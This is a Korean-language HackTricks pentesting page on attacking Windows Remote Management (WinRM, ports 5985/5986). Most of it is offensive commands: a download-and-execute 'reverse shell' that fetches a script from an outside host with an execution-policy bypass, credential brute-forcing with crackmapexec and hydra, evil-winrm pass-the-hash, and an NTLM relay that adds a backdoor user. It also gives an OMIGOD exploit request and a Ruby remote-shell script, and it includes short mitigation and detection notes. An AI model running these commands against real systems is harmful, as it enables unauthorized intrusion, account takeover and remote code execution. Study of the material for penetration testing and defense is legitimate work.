5985,5986 - Pentesting WinRM

Reading time: 11 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

WinRM

Windows Remote Management (WinRM)Microsoft에서 강조하는 Windows 시스템의 원격 관리를 HTTP(S)를 통해 가능하게 하는 프로토콜입니다. 이 과정에서 SOAP를 활용합니다. 본질적으로 WMI에 의해 구동되며, WMI 작업을 위한 HTTP 기반 인터페이스로 나타납니다.

머신에 WinRM이 존재하면 PowerShell을 통해 간단한 원격 관리가 가능하며, 이는 다른 운영 체제의 SSH와 유사합니다. WinRM이 작동 중인지 확인하려면 특정 포트의 개방 여부를 확인하는 것이 좋습니다:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

위 목록에서 열린 포트는 WinRM이 설정되었음을 나타내며, 따라서 원격 세션을 시작할 수 있는 시도를 허용합니다.

WinRM 세션 시작하기

PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 Enable-PSRemoting cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 액세스를 통해 다음 명령을 실행하여 이 기능을 활성화하고 모든 호스트를 신뢰할 수 있도록 지정할 수 있습니다:

bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

이 접근 방식은 trustedhosts 구성에 와일드카드를 추가하는 것을 포함하며, 이는 그 함의로 인해 신중한 고려가 필요한 단계입니다. 또한 공격자의 머신에서 네트워크 유형을 "Public"에서 "Work"로 변경해야 할 수도 있음을 언급합니다.

게다가, WinRM은 wmic 명령을 사용하여 원격으로 활성화할 수 있으며, 다음과 같이 시연됩니다:

bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

이 방법은 원격으로 WinRM을 설정할 수 있게 하여, 원거리에서 Windows 머신을 관리하는 유연성을 향상시킵니다.

구성 확인하기

공격 머신의 설정을 확인하기 위해 Test-WSMan 명령을 사용하여 대상이 WinRM이 제대로 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부 정보를 수신하게 되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상의 예상 출력 예시입니다:

  • 정상적으로 구성된 대상의 경우, 출력은 다음과 유사하게 나타납니다:
bash
Test-WSMan <target-ip>

프로토콜 버전 및 wsmid에 대한 정보가 포함되어야 하며, 이는 WinRM이 올바르게 설정되었음을 나타냅니다.

  • 반대로, WinRM이 구성되지 않은 대상의 경우, 이러한 세부 정보가 없으며, 적절한 WinRM 설정이 없음을 강조합니다.

명령 실행

대상 머신에서 ipconfig를 원격으로 실행하고 그 출력을 보려면 다음을 수행하십시오:

bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

현재 PS 콘솔의 명령을 실행할 수 있습니다 _Invoke-Command_를 통해. 로컬에 _enumeration_이라는 함수가 있고 이를 원격 컴퓨터에서 실행하고 싶다면, 다음과 같이 할 수 있습니다:

bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

스크립트 실행

bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

리버스 셸 얻기

bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

PS 세션 가져오기

대화형 PowerShell 셸을 얻으려면 Enter-PSSession을 사용하세요:

bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

세션은 "희생자" 내부의 새로운 프로세스(wsmprovhost)에서 실행됩니다.

WinRM 강제 열기

PS 원격 관리 및 WinRM을 사용하려고 하지만 컴퓨터가 구성되지 않은 경우, 다음을 통해 활성화할 수 있습니다:

bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Saving and Restoring sessions

작동하지 않습니다 만약 언어가 원격 컴퓨터에서 제한되어 있다면.

bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

이 세션 내에서 _Invoke-Command_를 사용하여 PS 스크립트를 로드할 수 있습니다.

bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

오류

다음 오류가 발생하면:

enter-pssession : 원격 서버 10.10.10.175에 연결하는 데 실패했습니다. 오류 메시지: WinRM 클라이언트가 요청을 처리할 수 없습니다. 인증 방식이 Kerberos와 다르거나 클라이언트 컴퓨터가 도메인에 가입되지 않은 경우 HTTPS 전송을 사용해야 하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts를 구성하려면 winrm.cmd를 사용하십시오. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 이에 대한 자세한 정보를 얻을 수 있습니다: winrm help config. 자세한 내용은 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.

클라이언트에서 시도하십시오 (정보는 여기에서 확인하십시오):

ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

WinRM 연결을 위한 리눅스

무차별 대입 공격

주의하세요, winrm에 대한 무차별 대입 공격은 사용자를 차단할 수 있습니다.

ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

evil-winrm 사용하기

ruby
gem install evil-winrm

문서를 GitHub에서 읽어보세요: https://github.com/Hackplayers/evil-winrm

ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

악성 winrm을 사용하여 IPv6 주소에 연결하려면 /etc/hosts 내에 도메인 이름을 IPv6 주소로 설정하는 항목을 만들고 해당 도메인에 연결합니다.

해시를 악성 winrm으로 전달하기

ruby
evil-winrm -u <username> -H <Hash> -i <IP>

PS-docker 머신 사용하기

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

루비 스크립트 사용하기

여기에서 추출한 코드: https://alamot.github.io/winrm_shell/

ruby
require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Recent Vulnerabilities & Offensive Techniques (2021-2025)

NTLM relay directly to WinRM (WS-MAN)

Impacket 0.11 (2023년 5월)부터 ntlmrelayx.py는 캡처된 NTLM 자격 증명을 WS-MAN/WinRM 리스너로 직접 릴레이할 수 있습니다. 호스트가 여전히 **암호화되지 않은 HTTP (5985)**에서 수신 대기하는 경우, 공격자는 mitm6 (또는 Responder)를 결합하여 인증을 강제하고 SYSTEM 수준의 코드 실행을 얻을 수 있습니다:

bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"

Mitigations

  • HTTP 리스너 비활성화 – Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false
  • HTTPS 강제 적용 및 최근 Windows 버전에서 인증을 위한 확장 보호(EPA) 활성화.

OMIGOD – CVE-2021-38647 (Azure OMI)

Azure Linux 에이전트는 Open Management Infrastructure (OMI) 서비스를 사용하여 5985/5986 포트에서 WinRM/WS-MAN API를 노출합니다. 논리 오류로 인해 루트로서 인증되지 않은 RCE가 가능했습니다:

text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'

OMI (버전 ≥ 1.6.8-1)를 패치하거나 제거하고 해당 포트를 인터넷에서 차단하십시오.

WSMan.Automation COM 남용을 통한 측면 이동

WinRM은 WSMan.Automation COM 객체를 통해 PowerShell 없이 구동될 수 있습니다 – 제한된 언어 모드의 시스템에서 유용합니다. SharpWSManWinRM과 같은 도구가 이 기술을 래핑합니다:

powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId   = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)

실행 체인 (svchost → wmiprvse → cmd.exe)은 고전 PS-Remoting과 동일합니다.


도구 업데이트

  • Evil-WinRM v3.x (2024) – 이제 Kerberos (-k / --spn) 및 인증서 기반 인증 (--cert-pem/--key-pem), 세션 로깅 (-L) 및 원격 경로 완성을 비활성화하는 기능 (-N)을 지원합니다.
bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
  • **Python – pypsrp 0.9 (2024)**는 CredSSP 및 Kerberos를 포함하여 Linux에서 WinRM 및 PS-Remoting을 제공합니다:
python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
  • 탐지Microsoft-Windows-WinRM/Operational 로그를 모니터링합니다:
  • 이벤트 91 / 163 – 셸 생성
  • 이벤트 182 – 인증 실패
  • 보안 로그의 이벤트 4262는 소스 IP를 기록합니다 (2022년 7월 CUs 추가). 이들을 중앙에서 수집하고 익명 또는 외부 IP에 대해 경고합니다.

Shodan

  • port:5985 Microsoft-HTTPAPI

참조

HackTricks 자동 명령

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기